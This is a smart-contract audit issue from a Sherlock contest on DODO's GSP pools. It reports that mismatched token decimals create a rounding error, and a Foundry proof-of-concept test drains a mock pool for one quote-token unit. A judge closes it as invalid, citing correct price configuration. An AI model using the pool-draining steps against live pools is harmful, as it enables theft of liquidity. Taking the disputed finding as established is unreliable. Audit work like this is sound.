sherlock-audit / 2023-12-dodo-gsp-judging

6 stars 5 forks source link

cawfree - `GSPVault.sol` rounding errors due to mixed-precision assets results in theft of provisioned liquidity. #95

Closed sherlock-admin2 closed 6 months ago

sherlock-admin2 commented 6 months ago

cawfree

high

GSPVault.sol rounding errors due to mixed-precision assets results in theft of provisioned liquidity.

Summary

Initializing a pool with a lower-precision base asset results in breakdown of pool invariant logic due to rounding errors.

Vulnerability Detail

Share calculation logic in the GSPVault operates on the implicit assumption that the number of IERC20Metadata#decimals() of the _BASE_TOKEN_ are greater than or equal number of decimals to the _QUOTE_TOKEN_.

However, this assumption is not enforced. In the following test, we'll create two MockERC20s:

  1. The base asset, b, with 6 decimals of precision i.e. $USDC.
  2. The quote asset, q, with 18 decimals of precision i.e. $DAI.

First, the MAINTAINER initializes a pool normally using these assets:

address MAINTAINER = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;
uint256 LP_FEE_RATE = 1000;
uint256 MT_FEE_RATE = 10000000000000;
uint256 I = 1000000;
uint256 K = 500000000000000;

uint8 decimalsBase = 6;
uint8 decimalsQuote = 18;

MockERC20 b = new MockERC20("Base", "B", decimalsBase);
MockERC20 q = new MockERC20("Quote", "Q", decimalsQuote);

/* maintainer_init */
GSP gsp = new GSP();
gsp.init(MAINTAINER, address(b), address(q), LP_FEE_RATE, MT_FEE_RATE, I, K, false);

b.mint(MAINTAINER, 10 ** decimalsBase);
q.mint(MAINTAINER, 10 ** decimalsQuote);

assert(decimalsBase < decimalsQuote);

/* maintainer_shares */
vm.startPrank(MAINTAINER);

    b.transfer(address(gsp), 10 ** decimalsBase);
    q.transfer(address(gsp), 10 ** decimalsQuote);

    (uint256 maintainerSharesBought,,) = gsp.buyShares(MAINTAINER);

    assertEq(maintainerSharesBought, 1_000_000);
    assertEq(b.balanceOf(address(gsp)), 10 ** decimalsBase);
    assertEq(q.balanceOf(address(gsp)), 10 ** decimalsQuote);

vm.stopPrank();

If we analyze the internal state of the pool, we can see the following metrics:

console.log(gsp._BASE_TARGET_());
console.log(gsp._QUOTE_TARGET_());
Logs:
  1000000
  0

This is to say, the _QUOTE_TARGET_ has been incorrectly calculated due to rounding errors from the lesser precision of the base asset.

[!NOTE]
If we had defined the base assets in the opposite order, these two variables would instead have correctly reported:

Logs:
 1000000000000000000
 1000000

Next let's initialize the ATTACKER, who requires only a single unit of quote asset:

/* init_attacker */
address ATTACKER = address(0x69);
q.mint(ATTACKER, 1);

For the price of a single unit of the quote asset, the ATTACKER is able to completely drain the pool:

/* attacker_steal */
vm.startPrank(ATTACKER);

    q.transfer(address(gsp), 1);

    (uint256 quoteAmountRecieved) = gsp.sellQuote(ATTACKER);
     assertEq(quoteAmountRecieved, 999990);

    (uint256 baseAmountReceived) = gsp.sellBase(ATTACKER);
    assertEq(baseAmountReceived, 999989999999999001);

vm.stopPrank();

Impact

The pool is drained, rendering the shares of liquidity worthless.

Code Snippet

// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.13;

import {Test} from "forge-std/Test.sol";

import {DeployGSP} from "../scripts/DeployGSP.s.sol";
import {GSP} from "../contracts/GasSavingPool/impl/GSP.sol";
import {PMMPricing} from "../contracts/lib/PMMPricing.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "mock/MockERC20.sol";

contract GSPVaultSherlockRoundingErrors is Test {

    address constant MAINTAINER = 0x95C4F5b83aA70810D4f142d58e5F7242Bd891CB0;
    uint256 constant LP_FEE_RATE = 1000;
    uint256 constant MT_FEE_RATE = 10000000000000;
    uint256 constant I = 1000000;
    uint256 constant K = 500000000000000;
    bool constant IS_OPEN_TWAP = false;

    function test_sherlock_roundingErrors() public {

        uint8 decimalsBase = 6;
        uint8 decimalsQuote = 18;

        MockERC20 b = new MockERC20("Base", "B", decimalsBase);
        MockERC20 q = new MockERC20("Quote", "Q", decimalsQuote);

        /* maintainer_init */
        GSP gsp = new GSP();
        gsp.init(MAINTAINER, address(b), address(q), LP_FEE_RATE, MT_FEE_RATE, I, K, IS_OPEN_TWAP);

        b.mint(MAINTAINER, 10 ** decimalsBase);
        q.mint(MAINTAINER, 10 ** decimalsQuote);

        assert(decimalsBase < decimalsQuote);

        /* maintainer_shares */
        vm.startPrank(MAINTAINER);

        b.transfer(address(gsp), 10 ** decimalsBase);
        q.transfer(address(gsp), 10 ** decimalsQuote);

        (uint256 maintainerSharesBought,,) = gsp.buyShares(MAINTAINER);

        assertEq(maintainerSharesBought, 1_000_000);
        assertEq(b.balanceOf(address(gsp)), 10 ** decimalsBase);
        assertEq(q.balanceOf(address(gsp)), 10 ** decimalsQuote);

        vm.stopPrank();

        /* attacker_init */
        address ATTACKER = address(0x69);
        q.mint(ATTACKER, 1);

        /* attacker_exploit */
        vm.startPrank(ATTACKER);
        q.transfer(address(gsp), 1);

        (uint256 quoteAmountRecieved) = gsp.sellQuote(ATTACKER);
        assertEq(quoteAmountRecieved, 999990);

        (uint256 baseAmountReceived) = gsp.sellBase(ATTACKER);
        assertEq(baseAmountReceived, 999989999999999001);

        vm.stopPrank();

        /* maintainer_liquidate */
        vm.startPrank(MAINTAINER);

        (uint256 baseAmountOut, uint256 quoteAmountOut) = gsp.sellShares(
            maintainerSharesBought,
            MAINTAINER,
            0,
            0,
            "",
            block.timestamp
        );

        assertEq(baseAmountOut, 0);
        assertEq(quoteAmountOut, 1000);

        vm.stopPrank();

    }

}
Running 1 test for test/GSPVault.Sherlock.RoundingErrors.sol:GSPVaultSherlockRoundingErrors
[PASS] test_sherlock_roundingErrors() (gas: 5365822)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.97s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tool used

Visual Studio Code, Halmos

Recommendation

When initializing a pool, ensure the number of decimals of the base asset is greater than or equal to the number of decimals in the quote asset.

GSP.sol

// symbol of the shares is GLP
symbol = "GLP";
// decimals of the shares is the same as the base token decimals
decimals = IERC20Metadata(baseTokenAddress).decimals();

+ if (decimals < IERC20Metadata(quoteTokenAddress).decimals())
+    revert("BASE_QUOTE_DECIMALS_CANNOT_BE_LESS_THAN_QUOTE");
+
// ============================== Permit ====================================
uint256 chainId;
assembly {
nevillehuang commented 6 months ago

Invalid, the price I will be adjusted accordingly to meet decimal differences in the event that decimal of base token is smaller than quote token. All this consitute trusted admin actions. i.e. in your example , if DAI is the quote asset, I will be set to 1e30.